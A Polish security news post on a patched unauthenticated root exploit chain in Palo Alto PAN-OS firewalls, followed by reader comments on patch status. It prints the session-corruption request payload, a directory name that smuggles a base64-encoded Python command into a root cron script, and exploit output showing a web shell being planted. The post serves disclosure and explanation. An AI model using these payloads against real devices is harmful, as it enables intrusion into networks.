-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Jak dostać nieuwierzytelnionego roota na firewallach Palo Alto? Prosto…

13 grudnia 2017, 21:48 | W biegu | komentarzy 6

Właśnie załatano podatność umożliwiającą wykonanie kodu jako root przez panel administracyjny firewalli Palo Alto (PAN-OS <= 6.1.18 , PAN-OS <=7.0.18, PAN-OS <=7.1.13 , PAN-OS <=8.0.6). Niepokojący jest na pewno fakt, że załatanie tej luki zajęło około 5 miesięcy, szczególnie że eksploit nie jest specjalnie skomplikowany i wymaga wysłania raptem kilku requestów HTTP.

Wykorzystanie podatności nie wymaga uwierzytelnienia, wymaga za to zdalnego dostępu do portu na którym działa panel zarządczy urządzenia. Niby nie powinien być on dostępny w Internecie, ale Shodan wie lepiej…

Sam producent opisuje to tak:

Through the exploitation of a combination of unrelated vulnerabilities, and via the management interface of the device, an attacker could remotely execute code on PAN-OS in the context of the highest privileged user.

Co to za magiczne „unrelated” vulnerabilities? W skrócie cała droga wygląda tak:

  • Korzystając z nieuwierzytelnionego skryptu można wpłynąć na zawartość sesji użytkownika (nie mamy konta więc sesja będzie anonimowa): /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27″;user|s.”1337″;
  • Co to za dziwna wartość zmiennej device? No więc umożliwia ona zmylenie parsera sesji użytkownika na firewallu, dzięki czemu sterujemy wartością zmiennej user w sesji (normalnie nie powinno być to możliwe). Jeśli użyjemy tutaj dobrej wartości, moduł uwierzytelnienia na web serwerze stwierdzi, że… jesteśmy uwierzytelnieni :)
  • Mając uwierzytelnienie, możemy wołać metody API dostępne tutaj: /php/utils/router.php
    Jedną z metod można następnie „zmusić” web serwer do stworzenia dowolnego katalogu na urządzeniu (np. /tmp/test)
  • Finalny krok polega na wykorzystaniu podatności w skrypcie uruchamianym z crona (/usr/local/bin/genindex_batch.sh) – który w pewnym uproszczeniu bierze nazwę katalogu (a katalogi o dowolnej nazwie możemy tworzyć – patrz poprzedni punkt) i używa go do uruchomienia innego polecenia – bez żadnej walidacji wartości, ale z uprawnieniami roota.
    W oryginalnym researchu tworzony jest taki katalog: * -print -exec python -c exec(„[base64 code..]”.decode(„base64”)) ;
  • Voilà:
imac:~/pa% python panos-rce.py http://10.0.0.1/
creating corrupted session...
http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27
";user|s."1337";
done, verifying..
http://10.0.0.1/php/utils/debug.php
panAuthCheck bypassed
verifying that directory creation works..
http://10.0.0.1/php/utils/router.php/Administrator.get
http://10.0.0.1/api/test/202.xml
creating /opt/pancfg/mgmt/logdb/traffic/1/ entry
shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please
wait

web shell created, rootshell accessible with /bin/x -p -c 'command'
uid=99(nobody) gid=99(nobody) euid=0(root)

–ms

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Mistle

    W wersji 8.0.6 Pan-OS podatność nie została poprawnie załatana.
    Niedawno wyszedł patch 8.0.6-h3 gdzie podobno w końcu załatali.

    Odpowiedz
    • Tak jest – zauważ że napisaliśmy że podatne są <= 8.0.6 - czyli goły 8.0.6 też, a zupdateowaliśmy to wczoraj po mailu oficjalnym który poszedł od Palo Alto, że coś im się nie spatchowało dobrze na 8.0.6 ...

      Odpowiedz
      • Mistle

        Hmmmm tak , chyba nie dojrzałem znaku równości ;)

        Odpowiedz
  2. Mikolaj Rampek

    Mnie tylko zastanawia jeden fakt, skad na urzadzeniach znanych marek, ktore zajmuja sie bezpieczenstwem takie banale bledy w bezpieczenstwie? Kadra, pospiech, celowe luki, brak testow? Szkolne, proste bledy, ktore popelnia poczatkujacy…

    Odpowiedz
  3. M3sh

    Spytam z ciekawości, skoro Palo już wydało patcha, to czemu przy Full Disclosure nie ma podanego kodu exploita, jest tylko sam opis jak działa podatność?.

    Odpowiedz

Odpowiedz na Mistle